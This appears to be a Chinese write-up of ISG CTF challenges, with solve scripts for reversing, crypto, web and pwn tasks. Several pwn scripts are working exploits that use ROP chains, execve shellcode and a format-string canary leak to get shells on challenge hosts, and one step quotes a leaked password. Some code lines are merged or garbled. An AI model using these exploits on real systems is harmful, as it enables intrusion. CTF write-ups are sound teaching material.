所有文件打包下載:ISG.zip
php 源代碼審計
?按照程序邏輯,把 0x403018 處的數據按 131 進制分開成字符即可。
漏洞為很明顯的棧溢出,但沒有提供 libc,需要自行獲取 libc 中的函數地址。
在這里我們使用 pwntools 來獲取 system 的地址,把參數寫在 data 段并最終執行。
執行 system 時有很奇怪的偏移問題這里稍微調整了一下最后執行 system gadget 在棧上的位置。
#!python
?????#!/usr/bin/env python2
from zio import *
from pwn import *
@MemLeak
def leak_write(addr):
io.read_until('Pwn me if you can:\n')
payload = 'A' * 24 + l64(poprdi) + l64(1) + l64(poprsi) + l64(addr) + junk +
l64(write_plt) + l64(main)
io.write(payload.ljust(0x100, 'A'))
ret = io.read(256)
return ret
target = './pwnme'
target = ('202.120.7.69', 34343)
poprdi = 0x400663
poprsi = 0x400661 # pop rsi; pop r15; ret ret = 0x400664
write_got = 0x601018
write_plt = 0x400480
main = 0x4005bd
junk = 'J' * 8
data = 0x601040
read_plt = 0x4004a0
io = zio(target, print_read=False, print_write=False, timeout=100000)
elf = DynELF('./pwnme', leak_write)
system = elf.lookup('system')
log.success('system: %s' % hex(system))
io.read_until('Pwn me if you can:\n')
payload = 'A' * 24 + l64(poprdi) + l64(0) + l64(poprsi) + l64(data) + junk + l64(read_plt) + l64(poprdi) + l64(data) + l64(ret) * 5 + l64(system)
io.write(payload.ljust(0x100, 'A'))
io.write('cat /home/pwnme/flag\0'.ljust(0x100, 'A'))
io.interact()
題目提供了 sqlmap 運行時的流量,按照 SQL 語句及執行結果推斷每個字節即可。
#!python
?????#!/usr/bin/env python2
import sys, re
def remove(idx, sign, value):
sub = xrange(0, value) if sign == '<' else xrange(value + 1, 256)
for i in sub:
if i in ans[idx]:
ans[idx].remove(i)
f = open(sys.argv[1]).read().strip().split('\n')
f = map(lambda x: x.split(':', 2)[1:], f)
ans = [set(xrange(256)) for _ in xrange(40)]
for x in f:
sql = x[0]
mo = re.search(r'LIMIT 0,1\),(\d+),1\)\)([><])(\d+)', sql)
if mo:
idx, sign, v = mo.groups()
idx = int(idx)
v = int(v)
#print idx, sign, v
if len(x[1].strip()) == 0:
remove(idx, sign, v)
else:
if sign == '<':
remove(idx, '>', v - 1)
else:
remove(idx, '<', v + 1)
for i in xrange(len(ans)):
if len(ans[i]) == 1:
sys.stdout.write(chr(list(ans[i])[0]))
print
???###WANGRANGE Reverse 100
逆向發現,輸出只和所有輸入字符的 XOR 結果和字符長度有關,要構造“ISG{”開頭的輸出,首先 解出 4 個關鍵的數,然后依次生成完整的輸出字符串。
#!python
#!/usr/bin/env python2
dict_ = {'P':'+', 'M':'-', 'U':'*', 'V':'/', 'X':'^', ' ':')&0xffffffff)'}
for i in xrange(10):
dict_[chr(ord('A') + i)] = str(i)
def calc(num, s):
ss = ''
count = 0
for i in xrange(len(s)):
ss += dict_[s[i]]
if s[i] == ' ':
count += 1
if ss[0] in '0123456789'
ss = str(num) + '+' + ss
else:
ss = str(num) + ss
ss = count * 2 * '(' + ss
return ss
exe = open('wangrange_b3e5c26e63ac1af881a1afe734a4a439').read()
data = exe[0x15b4:0x1a83 - 0x11b4 + 0x15b4]
i=0
lines = []
for line in data.split('\x20\0'):
line = line.replace('\0' , '' ).strip()
if line != '':
lines.append(line)
i += 1
PREFIX = 'ISG{'
keys = {}
for i in xrange(4):
for k in xrange(256):
if eval(calc(k, lines[i])) % 256 == ord(PREFIX[i]):
keys[i] = k
?
flag = ''
for i in xrange(len(lines)):
c = chr(eval(calc(keys[i % 4], lines[i])) % 256)
flag += c
print ' % flag
發現附件中有兩張圖片,分別另存為 bmp 后做 diff 發現左下角處的像素不同,其中一張固定為 0 或 1。把不同部分的 01 串提取出來按 8bit 組成一個字節即為 flag。
把流量中下載 x.tar.gz 部分提取出來解壓即為 flag。
使用選擇密文攻擊的方法即可。
#!python
#!/usr/bin/env python2
from zio import *
import fractions
def encrypt(x):
io.read_until('Command:\n')
io.writeline('1')
io.read_until('Input Plaintext:\n')
io.writeline(str(x))
io.read_until('Your ciphertext:\n')
return int(io.readline())
def secret():
io.read_until('Command:\n')
io.writeline('3')
io.read_until('I have no bug\n')
return int(io.readline())
def decrypt(x):
io.read_until('Command:\n')
io.writeline('2')
io.read_until('Input Ciphertext:\n')
io.writeline(str(x))
io.read_until('Your plaintext:\n')
return int(io.readline())
HOST = '202.120.7.71'
PORT = 43434
io = zio((HOST, PORT))
t2 = encrypt(2) ** 2 - encrypt(4) t3 = encrypt(3) ** 2 - encrypt(9) n = fractions.gcd(t2, t3)
ans = secret() * encrypt(2) % n
ans = decrypt(ans)
print hex(ans / 2)[2:-1].decode('hex')
windows + apache2 短文件名,上傳任意文件后用文件名 md5 的前 6 位加上~1 即可訪問到上傳 的東西,內容即是 FLAG。
先通過逆向大致看懂程序邏輯,考慮到 FLAG 包含 ISG{},可以從 trace 中定位到 00401178 處含 有 flag。把第 8,16,24,...次執行到該語句時的字符拼起來即為 flag。
首先是社工部分,可以找到 [email protected] 的密碼泄露過,是 zasada911,但很想吐 槽的是為啥這個密碼是 zasada。。。。
進去之后就是簡單的 php 源代碼審計,需要跑一個 hash,然后解碼:
使用這個工具解壓 apk:https://github.com/blueboxsecurity/DalvikBytecodeTampering
驗證算法為 DES+base64 的簡單替換,寫腳本求解即可。
#!python
#!/usr/bin/env python2
from base64 import b64decode
from Crypto.Cipher import DES
base64_chars =?'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
chars =?'S4wp902KOV7QRogXdIUCMW1/ktz8sa5c3xePGfENuDTvBFqAmrbnLlHZYyhJij6+*'
dict_ = {}
for i in xrange(len(chars)):
dict_[chars[i]] = base64_chars[i]
ciphertext = 'OKBvTrSKXPK3cObqoS21IW7Dg0eZ2RTYm3UrdPaVTdY*'
new_ciphertext = ''
for c in ciphertext:
new_ciphertext += dict_[c][/c]
ciphertext = b64decode(new_ciphertext)
key = 'Mem3d4Da'
des = DES.new(key, DES.MODE_ECB)
flag = des.decrypt(ciphertext)
print ' % flag : s%' % flag
????###Checkin Exploit 200
調試發現,在溢出函數的返回點上,輸入字符串的結尾 8 字節存儲在了 rbp 中,因此在這里存儲 上/bin/sh,再構造 shellcode 即可。
#!python
#!/usr/bin/env python2
from zio import *
# shellcode(rbp => '/bin//sh'):
#a: 99 cltd
#b: 89 de mov %ebx,%esi
#d: 53 push %rbx
#e: 55 push %rbp
#f: 48 89 e7 mov %rsp,%rdi
#12: 6a 3b pushq $0x3b
#14: 58 pop %rax
#15: 0f 05 syscall
call_rax = 0x40070d
shellcode = '9989de53554889e76a3b580f05'.decode('hex') + '\x90' + '/bin//sh'
host = '202.120.7.73'
port = 44445
io = zio((host, port))
payload = shellcode + l64(call_rax)[:6]
io.write(payload)
io.interact()
GIF 第二幀為一二維碼,內容即為 flag。
流量中包含了 7 組公鑰和密文。考慮到 e=3,使用 H?stad's Broadcast Attack 方法,可使用中國剩余定理對原文求解。發現 7 組原文并不完全相同,從中枚舉 3 個嘗試解密最終獲得 flag。
#!python
#!/usr/bin/env python2
from operator import mod, mul, sub, add
import re, os, collections, sys
import fractions
import itertools
def eea(a,b):
"""Extended Euclidean Algorithm for GCD"""
v1 = [a,1,0]
v2 = [b,0,1]
while v2[0]<>0:
p = v1[0]//v2[0] # floor division
v2, v1 = map(sub,v1,[p*vi for vi in v2]), v2
return v1
def inverse(m,k):
"""
Return b such that b*m mod k = 1, or 0 if no solution
"""
v = eea(m,k)
return (v[0]==1)*(v[1] % k)
def crt(ms, _as):
"""
Chinese Remainder Theorem:
ms = list of pairwise relatively prime integers as = remainders when x is divided by ms
(ai is 'each in as', mi 'each in ms')
The solution for x modulo M (M = product of ms) will be:
x = a1*M1*y1 + a2*M2*y2 + ... + ar*Mr*yr (mod M),
where Mi = M/mi and yi = (Mi)^-1 (mod mi) for 1 <= i <= r.
"""
M = reduce(mul,ms) # multiply ms together
Ms=[M/miformiinms] #listofallM/mi
ys = [inverse(Mi, mi) for Mi,mi in zip(Ms,ms)] # uses inverse,eea
return reduce(add,[ai*Mi*yi for ai,Mi,yi in zip(_as,Ms,ys)]) % M
def find_invpow(x,n):
"""Finds the integer component of the n'th root of x,
an integer such that y ** n
"""
high = 1
while high ** n < x:
high *= 2
low = high/2
while low < high:
mid = (low + high) // 2
if low < mid and mid**n < x:
low = mid
elif high > mid and mid**n > x:
high = mid
else:
return mid
return mid + 1
?
div = []
rem = []
dic = collections.defaultdict(dict)
base_dir = sys.argv[1]
for i in os.listdir(base_dir):
if re.search('getEncryptionKey.*\.php', i):
f = open(base_dir + '/' + i).read()
n, rkey = re.search(r'"n":"([0-9a-f]+)".*?"rkey":"([0-9a-f]+)"', f).groups()
dic[rkey]['n'] = int(n, 16)
if re.search('login.*\.php', i):
f = open(base_dir + '/' + i).read()
c, rkey = re.search(r'pwd=([0-9a-f]+)&rkey=([0-9a-f]+)', f).groups()
dic[rkey]['c'] = int(c, 16)
for rkey in itertools.combinations(dic, 3):
div, rem = zip(*map(lambda x:(dic[x]['n'], dic[x]['c']), rkey))
cube = crt(div, rem)
for i in xrange(3):
assert cube % div[i] == rem[i]
x = find_invpow(cube, 3)
if x ** 3 != cube:
continue
print hex(x)[3:-1].decode('hex')
#!python
#!/usr/bin/env python2
s=?"g{3q9OLNZ_bVWCyJk l sh c ax r d6 A MY t Iv P 4u i TS Q eB n Xz o R7 H U2 p F5 G Km 8 Dw } Ej f "
msg = [3179, 2649, 729, 48, 487, 3189, 2177, 2650, 5789, 4380, 2160, 1350, 5789, 1736, 144, 2160, 4393, 1014, 5054, 3755, 49, 5789, 724, 5067, 6544, 2160, 3189, 724, 2160, 4368, 1743, 720, 1008, 293]
class Node: pass
def construct(it):
character = next(it)
if character != ' ':
node = Node()
node.character = character
node.left = construct(it)
node.right = construct(it)
return node
it = iter(s)
????
root = construct(it)
assert len(list(it)) == 0
lookup = {}
def traverse(node, depth, num):
lookup[num] = node.character
depth += 1
if node.left:
traverse(node.left, depth, num + 48 * depth)
if node.right:
traverse(node.right, depth, num + 49 * depth)
traverse(root, depth=0, num=0)
print ''.join(lookup[x] for x in msg)
????###Out of Space Misc 200
對.net 程序分析可知需要計算’ISG’* 0xfa00000000 的 sha1。于是寫程序計算即可。需要注意.net 中的格式輸出問題。
#!cpp
#include <openssl/sha.h>
#include <cstdio>
#include <cstring>
int main() {
SHA_CTX c;
SHA1_Init(&c);
static const long BUF_SIZE = 3 << 10;
char buf[BUF_SIZE];
for (int i = 0; i < BUF_SIZE; i += 3)
memcpy(buf + i, "ISG", 3);
long dest = 0xfa00000000L;
long total = dest / (BUF_SIZE / 3);
for (long i = 0; i < total; ++i) {
SHA1_Update(&c, buf, BUF_SIZE);
if (i % 0x100000 == 0)
printf("%ld / %ld\n", i, total);
}
unsigned char ans[SHA_DIGEST_LENGTH];
SHA1_Final(ans, &c);
printf("ISG{");
printf("%02x", ans[0]);
for (int i = 1; i < SHA_DIGEST_LENGTH; ++i)
printf("-%02x", ans[i]);
printf("}\n");
return 0;
}
???
在 register 功能中只能輸入 15 字節長度來觸發格式化字符串漏洞,且%字符數量有限,因此考慮 用格式化字符串漏洞泄露出 stack canary,并將某關鍵計數改大,然后再利用 query 功能中的棧 溢出來獲取 shell。
#!python
#!/usr/bin/env python2
from zio import *
target = ('202.120.7.68', 23333)
io = zio(target, print_read=False, print_write=False)
count_addr = 0x804b008
io.read_until('4. Quit\n')
io.write('1\n')
payload = l32(count_addr + 3) + '%35$p%10$hn\n'
io.write(payload)
io.read_until('0x')
canary = io.read(8).decode('hex')[::-1]
print '[+] canary : %s' % canary.encode('hex')
io.read_until(?'4. Quit\n')
put_plt = 0x8048520
printf_got = 0x804afc8
read_plt = 0x80484d0
junk = 'JJJJ'
popret = 0x8048c3f
pop3ret = 0x8048c3d
new_stack = 0x804bf30
leave_ret = 0x8048aa6
io.write('2\n')
payload = 'A' * 0x100 + canary + 'A' * 12
payload += l32(put_plt) + l32(popret) + l32(printf_got)
payload += l32(read_plt) + l32(pop3ret) + l32(0) + l32(new_stack) + l32(32)
payload += l32(popret) + l32(new_stack) + l32(leave_ret)
payload += '\n'
io.write(payload)
io.read_until(':\'(\n')
printf = l32(io.read(4))
print '[+] printf : %s' % hex(printf)
system = printf - 0x4d1f0 + 0x40100
binsh = printf - 0x4d1f0 + 0x161304
print '[+] system : %s' % hex(system)
print '[+] binsh : %s' % hex(binsh)
payload = junk + l32(system) + junk + l32(binsh)
io.write(payload.ljust(32, 'A'))
io.interact()
????Safesite Web 400
bash 漏洞,flag 在/var/www 下 ?